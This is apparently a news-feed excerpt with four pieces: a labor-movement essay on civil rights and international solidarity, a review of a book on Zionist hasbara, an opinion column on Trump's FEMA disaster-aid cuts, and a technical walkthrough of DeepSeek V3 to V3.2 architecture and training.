    DEFEND CIVIL RIGHTS

    In the past, the possibility of fighting for our ideals—what we really want—has been undermined by beltway deal making. We have to be consistent in our politics.

    Labor needs an outspoken policy that defends the civil rights of all sections of U.S. society, and is willing to take on an open fight to protect them. If Trump's raids and terror campaigns scare unions into silence, few workers will feel confident in risking their jobs (and freedom) to join them.

    Yet people far beyond unions will defend labor rights if they are part of a broader civil rights agenda, and if the labor movement is willing to go to bat with community organizations for it.

    JOBS FOR ALL

    A new direction on civil rights requires linking immigrant rights to a real jobs program and full employment economy. It demands affirmative action that can come to grips with the devastation in communities of color, especially African-American communities.

    And none of that can be done without challenging Trump's war policies, but equally the war policies that have come from Democratic administrations.

    CLIMATE JUSTICE

    Today part of a freedom agenda is not only conversion from military production, but conversion from fossil fuel dependence.

    Jeff Johnson, past president of the Washington State Labor Council, drew the connection between labor support for climate conversion legislation and social justice. "I knew we had to educate my members, so that they would understand that we can't support more fossil fuel exploration," he told me. "We have an existential crisis that is social, political and racial, in addition to climate. And we know that the impact of climate change will hit those communities who had the least to do with causing it."

    INTERNATIONAL SOLIDARITY

    At the heart of any radical vision for our era is globalization—the way unions approach the operation of capitalism on an international scale.

    When the old Cold War leadership of the AFL-CIO was defeated in 1996, I heard incoming AFL-CIO Secretary-Treasurer (later President) Richard Trumka say unions should find partners in other countries in order to face common employers. At the time it represented a big change—that unions would cooperate with anyone willing to fight against our common employers. It rejected by implication the anti-communist ideology that put us on the side of employers and U.S. foreign policy, and that shamed us before the world.

    Three decades later, however, this idea is no longer radical enough. It’s an example of pragmatic solidarity, although it was, at the time, a good first step out of that Cold
    War past.

    What’s missing is a response from the labor movement to U.S. foreign policy. International solidarity involves more than multinational corporations. There is no doubt that military corporations benefit from selling the bombs that Israel uses in its Gaza genocide, but political support from Trump, and Biden before him, for Israel is more than just an effort to defend their profits.

    Corporate globalization and military intervention are intertwined, and in the labor movement there’s not enough discussion about their relationship. That’s why we got manipulated in the response to 9/11, and by justifications for the Iraq and Afghanistan wars.

    WHICH SIDE ARE YOU ON?

    Unions in the rest of the world are not simply asking us whether we will stand with them against General Electric, General Motors, or Mitsubishi. They want to know: Will you take action to oppose the Gaza genocide and arms shipments? What is your stand about aggressive wars or coups?

    U.S. corporations operating in a country like Mexico or El Salvador are, in some ways, opportunistic. They’re taking advantage of an existing economic system, and trying to make it function to produce profits. They exploit the difference in wages from country to country for instance, and require concessions from governments for setting up factories in their countries.

    But what causes poverty in a country like El Salvador? What drives a worker into a factory that, in the United States, we call a sweatshop? What role does U.S. policy play in creating that system of poverty?

    In our union movement, we need that kind of discussion. We turn education into simply a technical matter about techniques for grievance-handling and collective bargaining. We don’t really work with our members to develop a framework to answer these questions. So our movement becomes ineffective in fighting about the issues of war and peace, globalization, and their consequences, like immigration.

    EDUCATE THE MEMBERS

    When the AFL-CIO campaigned in Washington against the Central American Free Trade Agreement (CAFTA), for instance, labor lobbyists went up to Capitol Hill and tried to mobilize pressure on Congress to defeat it. But what was missing was education at the base of the labor movement.

    Had we educated and mobilized our members against the Contra war and the counterinsurgency wars in El Salvador and Guatemala (and certainly many of us tried to do that), U.S. workers would have understood CAFTA more clearly a decade later.

    The root of this problem is a kind of American pragmatism that disparages education. We need to demand more from those who make the decisions and control the purse strings in our unions.

    Since grinding poverty in much of the world is an incentive for moving production, defending the standard of living of workers around the world is as necessary as defending our own. The logic of inclusion in a global labor movement must apply as much to a worker in Mexico as it does to the nonunion worker down the street.

    That’s why the debate over the Iraq War at the AFL-CIO convention was so important. From the point when it became clear that the Bush administration intended to invade Iraq, union activists began organizing a national network to oppose it through U.S. Labor Against the War. What started as a collection of small groups, in a handful of unions, became a coalition of unions representing over a million members, the product of grassroots action at the bottom of the U.S. labor movement, not a directive from the top.

    That experience was put to work when the genocide began in Gaza, as national and local unions and activists organized the National Labor Network for a Ceasefire. When the United Auto Workers endorsed its call, the union also set up a divestment and just transition working group, "to study the history of Israel and Palestine, the union’s economic ties to the conflict, and to explore how to achieve a just transition for U.S. workers from war to peace."

    Opposing intervention and war means fighting for the self-interest of our members. It means being able to identify that self-interest with the interest of Palestinians in Gaza and the West Bank. The same money that pays for bombs for the Israeli government is money that doesn’t get spent on schools here at home. We can’t have a full-employment economy in the U.S. without peace.

    The arguments by political centrists in the Democratic Party that we must choose to fight only about workers' immediate economic interests, and stay silent about Gaza or racism, hides the connections workers have to make to challenge the sources of their own poverty and the attacks against them. As veteran organizer Stewart Acuff says, "While economic justice must run through everything our movement does, we cannot deemphasize any strand of injustice."

    Union members are not ignorant of this basic fact. In fact, they are becoming more sophisticated, and better at understanding the way global issues, from war to trade, affect the lives of people in the streets of U.S. cities. But the percentage of union members is declining, and the organization they need to put that understanding into practice is getting smaller. Deeper political awareness alone will not create a larger labor movement.

    NEED A SOCIAL MOVEMENT

    Just after World War II , unions represented 35 percent of U.S. workers. It’s no coincidence that the McCarthy years when the Cold War came to dominate the politics of unions was the moment when that strength began to decline.

    By 1975, after the Vietnam War, union membership had dropped to 26 percent. Today only 9.9 percent of all workers, and 5.9 percent in the private sector, are union members.

    Declining numbers translate into a decline in political power and economic leverage. California (with one-sixth of all union members) and New York (with one-eighth) have higher union density than any others. But even there, labor is facing an all-out war for political survival.

    While the percentage of organized workers has declined, unions have made important progress in finding alternative strategic ideas to the old business unionism. If these ideas are developed and extended, they provide an important base for making unions stronger and embedding them more deeply in working-class communities. But it’s a huge job. Raising the percentage of organized workers in the United States from just 10 to 11 percent would mean organizing over a million people. Only a social movement can organize people on this scale.

    In addition to examining structural reforms that can make unions more effective and concentrate their power, the labor movement needs a program that will inspire people to organize on their own, one which is unafraid to put forward radical demands, and rejects the constant argument that any proposal that can't get through Congress is not worth fighting for.

    A BROADER VISION

    The labor movement has to become a movement that inspires people with a broader vision of social justice. Our standard of living is declining. Workers often have to choose between paying their rent or their mortgage or having health care. There’s something fundamentally wrong with the priorities of this society, and unions have to be courageous enough to say it.

    Working families need a decent wage, but they also need the promise of a better world. For as long as we’ve had unions, workers have shown they’ll struggle for the future of their children and their communities, even when their own future seems in doubt. But it takes a radical social vision to inspire the wave of commitment, idealism, and activity.

    The 1920s were filled with company unions, the violence of strikebreakers, and a lack of legal rights for workers. A decade later, those obstacles were swept away.

    An upsurge of millions in the 1930s, radicalized by the Depression and left-wing activism, forced (relative) corporate acceptance of the labor movement for the first time in the country's history.

    There are changes taking place in our unions and communities that can be the beginning of something as large and profound. If they are, then the obstacles unions face today can become historical relics as quickly as did those of an earlier era.

    David Bacon is a labor journalist and photographer, author of Illegal People: How Globalization Creates Migration and Criminalizes Immigrants and other books.

    New Book Unpacks How Zionism Is Mythologized in Hasbara

    Portside
    portside.org
    2025-12-04 04:54:41
    New Book Unpacks How Zionism Is Mythologized in Hasbara Geoffrey Wed, 12/03/2025 - 23:54 ...
    Original Article

    Selling Israel: Zionism, Propaganda, and the Uses of Hasbara
    Harriet Malinowitz,
    Olive Branch Press/Interlink Publishing Group
    ISBN: 9781623715809

    Retired English professor Harriet Malinowitz spent 20 years writing and researching Selling Israel , and the exhaustively detailed result probes the ways Zionist mythology has been packaged to prop up support for the Jewish state.

    She starts by introducing the concept of hasbara, which, she writes, can be “bluntly described as propaganda, but in fact comprises a huge network of government ministries, nongovernmental organizations, nonprofit agencies and charities, campus organizations, volunteer groups, watchdog bodies, professional associations, media networks, fundraising operations, and educational programs that aim to fortify a Zionist-defined notion of Jewishness in persons within Israel, the United States, and other countries.”

    Malinowitz’s text deconstructs the ways these entities have been used to support Israel as a place essential to Jewish safety and security. But in addition, she includes the country’s foundational reliance on Biblical history, horrific 19th-century Eastern European pogroms, and the Nazi Holocaust to buttress its claims that Israel is a necessary bulwark against anti-semitism.

    Let’s start with the Bible. Malinowitz writes that David Ben-Gurion, Israel’s first prime minister, frequently said that “the bible is our mandate.” Similarly, in 1947 Chaim Weitzman , Israel’s first president, told the United Nations that, “God made a promise: Palestine to the Jews.” Seventy-two years later, in 2019, Danny Danon, Israel’s then-ambassador to the UN, reiterated this message, holding up a Bible and telling his audience that the book is Israel’s “deed” to the land, evidence of an “everlasting covenant” with God.

    Logic assumes that this claim has been questioned, but for the most part, it has not been.

    For years, most Zionists denied Palestinian’s existence and repeatedly stated that the land was both empty of people and nonarable.

    And those pesky Palestinians who’d been living on that land?  For years, most Zionists denied their existence and repeatedly stated that the land was both empty of people and nonarable, claims that were easily refuted since European nations that had long imported Palestinian barley, sesame, wheat, and Jaffa oranges. As Lebanese historian Marwan R. Buheiry wrote, “Palestine had always been an important producer of key agricultural commodities and was experiencing a significant expansion of agriculture and allied manufactures at least two generations before the arrival of the first colons from East Europe.”

    Malinowitz argues that Zionists knew this, but consciously chose to tell a tall tale about “a land without people for a people without land.” This idea was supported by two additional, if contradictory, notions: That the indigenous population of Palestine could be “transferred” to a host of Arab nations and/or that those who remained in Palestine would benefit from  “Zionist accomplishments.”

    The fact that many Palestinians saw the situation differently was unsurprising. Indeed, several Jewish writers and theorists had foreseen Palestinian resistance, but they were ignored or condemned as wrongheaded.

    Instead, the Jewish National Fund, a group created in 1901 when Zionism was little more than the fledgling dream of a small percentage of world Jewry, began to raise funds to “transfer Palestinian Arabs to Iraq, Syria, and even Transjordan.” Their mission has never wavered, although it has expanded. Among its many efforts, the JNF has solicited donations for community development, with projects to “green the desert” and “drain festering swamps” to make more of the country suitable for farming.

    Malinowitz reports that neither effort has panned out as planned. The 1950 draining of Hula Lake, she writes, is just one example. Although drainage was meant to redeem the land for agriculture and turn “water that had been a menace to health into a blessing,” it has instead caused environmental calamity. “Among the casualties in the Hula Valley,” she explains, “were the disappearance of 119 animal species, the extinction of numerous fresh water plant species, the rerouting of migratory birds flying between Europe and Africa, and the unanticipated population explosion of the vole, which rampantly destroyed crops and led many to cease farming there – in turn accelerating soil deterioration.”  And the greening of the desert? The desire to create a “garden oasis” led Israelis to plant Aleppo pine and cypress trees, rather than trees native to the area. These trees have obliterated grasslands. Moreover, since the natural habitat of the Aleppo pine is wetter, “when planted in arid areas they require intense irrigation to facilitate sapling growth and suffer major, irreparable losses during droughts. Yet neither blunder has dissuaded the Jewish National Fund from working to garner support for these projects. What’s more, they continue to raise money to “strengthen Israel’s peripheral regions.”

    Educational efforts are, of course, key to these initiatives, both within and outside of Israel. The use and misuse of the Holocaust come into play here. For several decades after World War II, Malinowitz writes that Nazi death camps were rarely invoked because Israeli leaders felt that the annihilation of six million Jews could be read as a sign of weakness, as if the victims had somehow allowed themselves to be led to their deaths, like “lambs to the slaughter.” This began to change during the 1961 trial of high-ranking Nazi, Adolf Eichmann.  As world revulsion to Nazi ideology mounted, Israel’s leaders began an ideological pivot, now arguing that “an armed Jewish state was both essential for preventing an ever-looming second Holocaust and would have mitigated the first one.” Images of gun-toting Israeli soldiers became a source of national – and international – pride that dovetailed with constant rhetoric to dehumanize Palestinians as an unprovoked, menacing threat.

    This is where hasbara has been most effective.

    Since the 1970s, hasbara has presented Israel as a rugged, innovative, and pioneering nation where queer identity is respected, environmental sustainability is championed, and Jews are able to live in safety, security, and prosperity. That these claims are specious has not mattered to Israel’s supporters, Malinowitz writes. As Gaza is pummeled into oblivion and the West Bank is increasingly occupied by people eager to eliminate every Palestinian person, peace seems less and less possible. It’s both sad and appalling.

    Gaza is pummeled into oblivion and the West Bank is increasingly occupied by people eager to eliminate every Palestinian person, peace seems less and less possible.

    Worse, in the more than two years since October 7th, the conflation between Judaism and Zionism has ramped up. Efforts to decouple them remain ongoing, but Selling Israel provides both the hard facts and historical background necessary to contest Zionism as the best and only way to combat hatred of Jews. In parsing Zionism’s 19th-century roots and the heinous pogroms the movement was responding to, Malinowitz has given readers ammunition for fighting anti-Semitic bigotry. It’s a vitally important book.

    The Indypendent is reader-funded. We publish a free monthly newspaper , a website, a weekly radio show on WBAI-99.5 FM and more . To make a one-time or recurring monthly donation, click here .

    Trump to Disaster Victims: Drop Dead

    Portside
    portside.org
    2025-12-04 04:51:17
    Trump to Disaster Victims: Drop Dead Mark Brody Wed, 12/03/2025 - 23:51 ...
    Original Article

    The Mississippi flood of 1927 was one of America’s greatest natural disasters. Some 27,000 square miles were inundated, in some cases by 30 feet of water. Hundreds, maybe thousands, died — many of the victims were poor and Black, and their deaths went unrecorded. Around 700,000 people were displaced — equivalent to about 2 million people today, adjusting for population growth.

    How did America respond? Initially, President Calvin Coolidge was adamantly opposed to any federal role in disaster relief, declaring that “The Government is not an insurer of its citizens against the hazard of the elements.” His refusal to provide aid was, however, deeply unpopular, and he eventually gave in to demands from Congress to deliver government aid.

    Ever since that catastrophic flood, providing government aid to the victims of natural disasters has been an integral part of the American Way: federal aid to disaster victims became the norm after the Mississippi flood. Yet it was often a haphazard, uncoordinated process until 1979, when the federal response to natural disasters was consolidated under the Federal Emergency Management Agency .

    Since then FEMA has become a well-established part of the American social safety net, especially in the face of worsening climate catastrophes. Americans have come to rely on FEMA as a first line of support after disasters. And when FEMA was seen to be falling down on the job, as it did after Hurricane Katrina virtually destroyed New Orleans in 2005, Americans were angry. The fact is, they want FEMA to be better, not smaller. In a July poll , only 9 percent of Americans wanted to see FEMA eliminated, and only another 10 percent wanted to see its budget cut.

    Donald Trump, however, believes that he knows better than the majority of Americans. In June he announced his intention to dismantle FEMA and force the states to assume responsibility for disaster relief. While Trump publicly backed down after an intense public backlash, in practice he is gutting FEMA nonetheless. He is drastically scaling back federal emergency aid, even for communities in which the need for federal assistance is overwhelming.

    The latest example of Trump’s stiffing those in need is in rural northern Michigan , where the power grid suffered severe damage from an ice storm last March. Rebuilding the power lines will cost thousands of dollars for each household served by the region’s power cooperatives. Without outside help, that cost will have to be paid by the cooperatives’ customers, a huge burden on a relatively poor part of the state. Yet FEMA has turned down the state’s request for aid, in an unprecedented break with past policies.

    Adding further injury to Michiganders, who – by the way – voted to deliver the presidency to Donald Trump in 2024, the Trump administration has ordered another Michigan utility to keep an aging, unneeded, highly polluting coal-fired power plant operating, at a cost to ratepayers of $113 million so far , and ongoing at $615,000 per day.

    Trump tried, unsuccessfully, to withhold wildfire aid from California unless it adopted voter ID . He has also tried to divert aid away from states that, in his view, aren’t cooperating with his immigration policies, although the courts stopped him . But the storm-hit areas that he is currently refusing to help are, or plausibly “were”, Trump country. The map on the left shows the areas covered by different Michigan electricity utilities; #3 and #7 are the utilities seeking FEMA aid. The map on the right shows the 2024 presidential vote by county, with deeper red corresponding to a higher Trump share:

    Since this is not another case of Trump’s political retribution, what lies behind the denial of aid? I believe that it is a knee-jerk dominance display on Trump’s part. Whenever someone comes to him in need, whether its Volodomyr Zelensky, helpless African children dependent on USAID, or rural Michiganers, his cruelty is activated. And he likes surrounding himself with those of the same ilk: Stephen Miller, Pete Hegseth, and Kristi Noem, the secretary of homeland security, who impeded and slow-walked the emergency response to deadly Texas flooding back in July.

    But that’s not all: there’s also an ideological component. The pre-Trump typical conservative argument against government aid restricted itself to programs like food stamps. The usual suspects fulminate against those who need help putting food on the table, asserting that it’s because they have chosen to be poor . In the conservative ideology of Ronald Reagan, helping the poor relieves them of individual responsibility and only makes them lazy.

    But those old-time conservatives also recognized a difference between being the victim of a natural disaster and being impoverished. In their view, nobody chooses to have an ice storm or a hurricane. And helping to re-build entire communities didn’t, in their view, encourage sloth.

    But that was conservatism then and this is Trumpism now. The fact is that disaster relief runs counter to the libertarian ideology embraced by tech bros like Peter Thiel. In the world of the libertarian tech broligarchy, who believe that they should be running things rather than be constrained by democracy, selfishness is a virtue. Hence they don’t believe that their tax dollars should be used to help others, even when those others are victims of circumstances beyond their control. Oh, that is, unless you are a wealthy Silicon Valley type with deposits at the failed Silicon Valley Bank . They apparently had no problem with a federal bailout of SVB.

    In fact, the libertarian tech broligarchy is opposed to the very impulse to care about other people. “The fundamental weakness of Western civilization,” declared Elon Musk last March, “is empathy.”

    And let’s not forget — because conservatives never do — that there’s a deeper strategy at play: if you want people to despise and hate government, you don’t want them to see the government doing anything that clearly helps people.

    So American victims of natural disasters are being abandoned by Trump. That abandonment reflects his personal cruelty and that of those around him, as well as the ideological allegiance to cruelty among the libertarian tech broligarchy. And the resulting message is clear. Trump to disaster victims, wherever they live and whoever they voted for: Drop dead.

    A Technical Tour of the DeepSeek Models from V3 to V3.2

    Lobsters
    magazine.sebastianraschka.com
    2025-12-04 04:46:49
    Note that this does assume some prior transformer architecture knowledge, but if you know how attention works then you should at least be able to get the overall idea. Comments...
    Original Article

    Similar to DeepSeek V3, the team released their new flagship model over a major US holiday weekend. Given DeepSeek V3.2’s really good performance (on GPT-5 and Gemini 3.0 Pro) level, and the fact that it’s also available as an open-weight model, it’s definitely worth a closer look.

    Figure 1: Benchmark comparison between DeepSeek V3.2 and proprietary flagship models. This is an annotated figure from the DeepSeek V3.2 report .

    I covered the predecessor, DeepSeek V3, at the very beginning of my The Big LLM Architecture Comparison article, which I kept extending over the months as new architectures got released. Originally, as I just got back from Thanksgiving holidays with my family, I planned to “just” extend the article with this new DeepSeek V3.2 release by adding another section, but I then realized that there’s just too much interesting information to cover, so I decided to make this a longer, standalone article.

    There’s a lot of interesting ground to cover and a lot to learn from their technical reports, so let’s get started!

    While DeepSeek V3 wasn’t popular immediately upon release in December 2024, the DeepSeek R1 reasoning model (based on the identical architecture, using DeepSeek V3 as a base model) helped DeepSeek become one of the most popular open-weight models and a legit alternative to proprietary models such as the ones by OpenAI, Google, xAI, and Anthropic.

    Figure 2: DeepSeek V3/R1 architecture from December 2024. We will revisit and discuss architectural details in a later section.

    So, what’s new since V3/R1? I am sure that the DeepSeek team has been super busy this year. However, there hasn’t been a major release in the last 10-11 months since DeepSeek R1.

    Personally, I think it’s reasonable to go ~1 year for a major LLM release since it’s A LOT of work. However, I saw on various social media platforms that people were pronouncing the team “dead” (as a one-hit wonder).

    I am sure the DeepSeek team has also been busy navigating the switch from NVIDIA to Huawei chips. By the way, I am not affiliated with them or have spoken with them; everything here is based on public information . As far as I know, they are back to using NVIDIA chips.

    Finally, it’s also not that they haven’t released anything. There have been a couple of smaller releases that trickled in this year, for instance, DeepSeek V3.1 and V3.2-Exp.

    Figure 3: DeepSeek releases since last year. The main models are shown in red.

    As I predicted back in September, the DeepSeek V3.2-Exp release was intended to get the ecosystem and inference infrastructure ready to host the just-released V3.2 model.

    V3.2-Exp and V3.2 use a non-standard sparse attention variant that requires custom code, but more on this mechanism later. (I was tempted to cover it in my previous Beyond Standard LLMs article, but Kimi Linear was released around then, which I prioritized for this article section on new attention variants.)

    Before discussing further model details, it might be worthwhile to discuss the overall model types. Originally, DeepSeek V3 was released as a base model, and DeepSeek R1 added additional post-training to develop a dedicated reasoning model. This procedure is summarized in the figure below.

    You can read more about the training pipeline in the figure above in my Understanding Reasoning LLMs article.

    What’s worthwhile noting here is that DeepSeek V3 is a base model, and DeepSeek R1 is a dedicated reasoning model.

    In parallel with DeepSeek, other teams have also released many really strong open-weight reasoning models. One of the strongest open-weight models this year was Qwen3. Originally, it was released as a hybrid reasoning model, which means that users were able to toggle between reasoning and non-reasoning modes within the same model. (In the case of Qwen3, this toggling was enabled via the tokenizer by adding/omitting <think></think> tags.)

    Since then, LLM teams have released (and in some cases gone back and forth between) both dedicated reasoning models and Instruct/Reasoning hybrid models, as shown in the timeline below.

    Figure 5: The timeline of some of the reasoning and hybrid models released this year.

    For instance, Qwen3 started out as a hybrid model, but the Qwen team then later released separate instruct and reasoning models as they were easier to develop and yielded better performance in each respective use case.

    Some models like OpenAI’s gpt-oss only come in a hybrid variant where users can choose the reasoning effort via a system prompt (I suspect this is handled similarly in GPT-5 and GPT-5.1).

    And in the case of DeepSeek, it looks like they moved in the opposite direction from a dedicated reasoning model (R1) to a hybrid model (V3.1 and V3.2). However, I suspect that R1 was mainly a research project to develop reasoning methods and the best reasoning model at the time. The V3.2 release may be more about developing the best overall model for different use cases. (Here, R1 was more like a testbed or prototype model.)

    And I also suspect that, while the DeepSeek team developed V3.1 and V3.2 with reasoning capabilities, they might still be working on a dedicated R2 model.

    Before discussing the new DeepSeek V3.2 release in more detail, I thought it would be helpful to start with an overview of the main changes going from V3 to V3.1.

    I already discussed DeepSeek V3 and R1 in great detail in several other articles. To summarize the main points, DeepSeek V3 is a base model that uses two noteworthy architecture aspects: Mixture-of-Experts (MoE) and Multi-Head Latent Attention (MLA).

    I think you are probably well familiar with MoE at this point, so I am skipping the introduction here. However, if you want to read more, I recommend the short overview in my The Big Architecture Comparison article for more context.

    The other noteworthy highlight is the use of MLA. MLA, which is used in DeepSeek V2, V3, and R1 , offers a memory-saving strategy that pairs particularly well with KV caching. The idea in MLA is that it compresses the key and value tensors into a lower-dimensional space before storing them in the KV cache.

    At inference time, these compressed tensors are projected back to their original size before being used, as shown in the figure below. This adds an extra matrix multiplication but reduces memory usage.

    (As a side note, the queries are also compressed, but only during training, not inference.)

    Figure 6: Multi-Head Latent Attention (MLA) in DeepSeek V3/R1. (The compressed space of the query vector is not shown for simplicity.)

    The figure above illustrates the main idea behind MLA, where the keys and values are first projected into a latent vector, which can then be stored in the KV cache to reduce memory requirements. This requires a later up-projection back into the original key-value space, but overall it improves efficiency (as an analogy, you can think of the down- and up-projections in LoRA).

    Note that the query is also projected into a separate compressed space, similar to what’s shown for the keys and values. However, I omitted it in the figure above for simplicity.

    By the way, as mentioned earlier, MLA is not new in DeepSeek V3, as its DeepSeek V2 predecessor also used (and even introduced) it.

    DeepSeek R1 uses the same architecture as DeepSeek V3 above. The difference is the training recipe. I.e., using DeepSeek V3 as the base model, DeepSeek R1 was focused on the Reinforcement Learning with Verifiable Rewards (RLVR) method to improve the reasoning capabilities of the model.

    The core idea in RLVR is to have the model learn from responses that can be verified symbolically or programmatically, such as math and code (but this can, of course, also be extended beyond these two domains).

    Figure 7: An example of a verifiable task.

    The GRPO algorithm, which is short for Group Relative Policy Optimization, is essentially a simpler variant of the Proximal Policy Optimization (PPO) algorithm that is popular in Reinforcement Learning with Human Feedback (RLHF), which is used for LLM alignment.

    Figure 8: Comparison of reinforcement learning setups in LLM training. Traditional RLHF with PPO uses both a reward model (trained on human preferences) and a critic (value model) to guide learning. GRPO eliminates the critic model. RLVR with GRPO goes a step further by removing the reward model, relying instead on verifiable rewards from symbolic tools such as calculators or compilers.

    I covered the RLVR training with their GRPO algorithm in more detail (including the math behind it) in my The State of Reinforcement Learning for LLM Reasoning if you are interested in additional information.

    As the DeepSeek team stated themselves, DeepSeek R1-0528 is basically a “minor version upgrade.”

    The architecture remains the same as in DeepSeek V3/R1, and the improvements are on the training side to bring it up to par with OpenAI o3 and Gemini 2.5 Pro at the time.

    Unfortunately, the DeepSeek team didn’t release any specific information describing how this was achieved; however, they stated that it partly comes from optimizations in their post-training pipeline. Also, based on what’s been shared, I think it’s likely that the hosted version of the model uses more computational resources at inference time (longer reasoning).

    DeepSeek V3.1 is a hybrid model with both general chat (instruct) and reasoning capabilities. I.e., instead of developing two separate models, there is now one model in which users can switch modes via the chat prompt template (similar to the initial Qwen3 model).

    DeepSeek V3.1 is based on DeepSeek V3.1-Base, which is in turn based on DeepSeek V3. They all share the same architecture.

    DeepSeek V3.2-Exp (Sep 2025) is where it gets more interesting.

    Originally, the DeepSeek V3.2-Exp didn’t top the benchmarks, which is why there wasn’t as much excitement around this model upon release. However, as I speculated back in September, this was likely an early, experimental release to get the infrastructure (especially the inference and deployment tools) ready for a larger release, since there are a few architectural changes in DeepSeek V3.2-Exp. The bigger release is DeepSeek V3.2 (not V4), but more on that later.

    So, what’s new in DeepSeek V3.2-Exp? First, DeepSeek V3.2-Exp was trained based on DeepSeek V3.1-Terminus as a base model. What’s DeepSeek V3.1-Terminus? It’s just a small improvement over the DeepSeek V3.1 checkpoint mentioned in the previous section.

    The technical report states that:

    DeepSeek-V3.2-Exp, an experimental sparse-attention model, which equips
    DeepSeek-V3.1-Terminus with DeepSeek Sparse Attention (DSA) through continued training. With DSA, a fine-grained sparse attention mechanism powered by a lightning indexer, DeepSeek-V3.2-Exp achieves significant efficiency improvements in both training and inference, especially in long-context scenarios.

    As the paragraph above states, the main innovation here is the DeepSeek Sparse Attention (DSA) mechanism that they add to DeepSeek V3.1-Terminus before doing further training on that checkpoint.

    This DSA consists of (1) a lightning indexer and (2) a token-selector, and the goal is to selectively reduce the context to improve efficiency.

    To explain how it works, let’s start with sliding-window attention. For instance, sliding window attention is a technique (recently used by Gemma 3 and Olmo 3) that limits the attention window to a fixed size, as illustrated in the figure below.

    Figure 9: In sliding window attention, the current query token doesn’t attend to all previous tokens but just a subset.

    DSA is based on the same idea as sliding-window attention: only a subset of past tokens can be attended to. However, instead of selecting the tokens that can be attended via a fixed-width sliding window, DSA has an indexer and token selector to decide which past tokens can be attended. In other words, the tokens that can be attended are more random, as illustrated in the figure below.

    Figure 10: In DSA, the current token can attend a select number of tokens in the past (instead of all tokens like in regular causal attention).

    However, while I said “random” above, the pattern of which past tokens are selected is not actually random but learned.

    In practice, DSA uses its so-called lightning indexer to compute relevance scores for each new query token based on all previous tokens. For this computation, the lightning indexer uses the compressed token representations in DeepSeek’s Multi-Head Latent Attention (MLA) and computes the token similarity towards other tokens. The similarity score is basically a scaled dot product between query and key vectors passed through a ReLU function.

    If you are interested in the mathematical details, the equation (taken from the paper) for this lightning indexer similarity score is shown below:

    \( I_{t,s} \;=\; \;\sum_{j=1}^{H^I} w_{t,j}\,\mathrm{ReLU}\!\left(q_{t,j}\cdot k_{s}\right)\)

    Here, w is a learned per-head weighting coefficient that determines how much each indexer head should contribute to the final similarity score. The q refers to the query, and the k refers to the key vector. And below is a list of the different subscripts:

    • t : position of the current query token;

    • s : position of a previous token in the sequence (0 ≤ s < t);

    • j : the index over the different indexer heads (Figure 10 above only showed one head for simplicity), so q t, j means “query vector for current token t in indexer head j “.

    You may notice that the indexer is only over the queries, not the keys. That’s because the model only needs to decide which past tokens each new query should consider. The keys are already compressed and stored in the KV cache, so the indexer does not need to score or compress them again over the different heads.

    The ReLU function here, since it’s f(x) = max(x, 0) , zeroes negative dot-product positions, which could theoretically enable sparsity, but since there is a summation over the different heads, it’s unlikely that the indexer score is actually 0. The sparsity rather comes from the separate token selector.

    The separate token selector keeps only a small number of high-scoring tokens (for example, the top- k positions) and constructs a sparse attention mask that masks out the other tokens that are not contained in the selected subset. (The k in top- k , not to be confused with the k that is used for the keys in the equation above, is a hyperparameter that is set to 2048 in the model code that the DeepSeek team shared.)

    The figure below illustrates the whole process in a flowchart.

    Figure 11: A visual summary of DeepSeek V3.2’s Sparse Attention mechanism.

    To sum it up, the indexer and token selector result in each token attending to a few past tokens that the model has learned to consider most relevant, rather than all tokens or a fixed local window.

    The goal here was not to improve the performance over DeepSeek V3.1-Terminus but to reduce the performance degradation (due to the sparse attention mechanism) while benefiting from improved efficiency.

    Overall, the DSA reduces the computational complexity of the attention mechanism from quadratic O(𝐿 2 ), where L is the sequence length, to a linear O(𝐿𝑘), where 𝑘 (≪𝐿) is the number of selected tokens.

    Having discussed DeepSeek V3.2-Exp, we are getting closer to the main topic of this article: DeepSeek V3.2. However, there is one more puzzle piece to discuss first.

    On November 27, 2025 (Thanksgiving in the US), and just 4 days before the DeepSeek V3.2 release, the DeepSeek team released DeepSeekMath V2 , based on DeepSeek V3.2-Exp-Base.

    This model was specifically developed for math and achieved gold-level scores in several math competitions. Essentially, we can think of it as a proof (of concept) model for DeepSeek V3.2, introducing one more technique.

    The key aspect here is that reasoning models (like DeepSeek R1 and others) are trained with an external verifier, and the model learns, by itself, to write explanations before arriving at the final answer. However, the explanations may be incorrect.

    As the DeepSeek team succinctly states, the shortcomings of regular RLVR:

    [...] correct answers don’t guarantee correct reasoning.

    [...] a model can arrive at the correct answer through flawed logic or fortunate errors.

    The other limitation of the DeepSeek R1 RLVR approach they aim to address is that:

    [...] many mathematical tasks like theorem proving require rigorous step-by-step derivation rather than numerical answers, making final answer rewards inapplicable.

    So, to improve upon these two shortcomings mentioned above, in this paper, they train two models:

    1. An LLM-based verifier for theorem proving.

    2. The main model, a proof-generator, uses the LLM-based verifier as a reward model (instead of a symbolic verifier).

    In addition to this self-verification via an LLM as described above, they also use self-refinement (covered in the upcoming Chapter 5 of my Build a Reasoning Model (From Scratch) book) to have the LLM iteratively improve its own answers.

    Having an LLM score for the intermediate steps is not new. There is a whole line of research on so-called process reward models, which have focused on this. Examples include Solving Math Word Problems With Process- and Outcome-based Feedback (2022) or Let’s Verify Step by Step (2023) , but there are many more.

    The challenges with process reward models are that it’s not easy to check whether intermediate rewards are correct, and it can also lead to reward hacking.

    In the DeepSeek R1 paper in Jan 2025, they didn’t use process reward models as they found that:

    its advantages are limited compared to the additional computational overhead it introduces during the large-scale reinforcement learning process in our experiments.

    In this paper, they successfully revisit this in the form of self-verification. The motivation is that, even if no reference solution exists, humans can self-correct when reading proofs and identifying issues.

    So, in order to develop a better model for writing mathematical proofs (LLM 1 in the figure below), they developed a proof verifier (LLM 2) in the figure below, which can be used as an LLM-as-a-judge to score the prover (LLM 1) outputs.

    Figure 12: The general math proof generator (LLM 1) and verifier (LLM 2) setup.

    The verifier LLM (LLM 2) takes in a rubric to score the generated proof, where the score is

    • “1 for complete and rigorous proofs with all logical steps clearly justified;”

    • “0.5 for proofs with sound overall logic but minor errors or omitted details;”

    • “and 0 for fundamentally flawed proofs containing fatal logical errors or critical gaps.”

    For the proof verifier model, they start with DeepSeek V3.2-Exp-SFT, a model they created based on DeepSeek V3.2-Exp by supervised fine-tuning on reasoning data (both math and code). They then further train the model with reinforcement learning using a format reward (a check whether the solution is in the expected format) and a score reward based on how close the predicted score is to the actual score (annotated by human math experts).

    The goal of the proof verifier (LLM 2) is to check the generated proofs (LLM 1), but who checks the proof verifier? To make the proof verifier more robust and prevent it from hallucinating issues, they developed a third LLM, a meta-verifier.

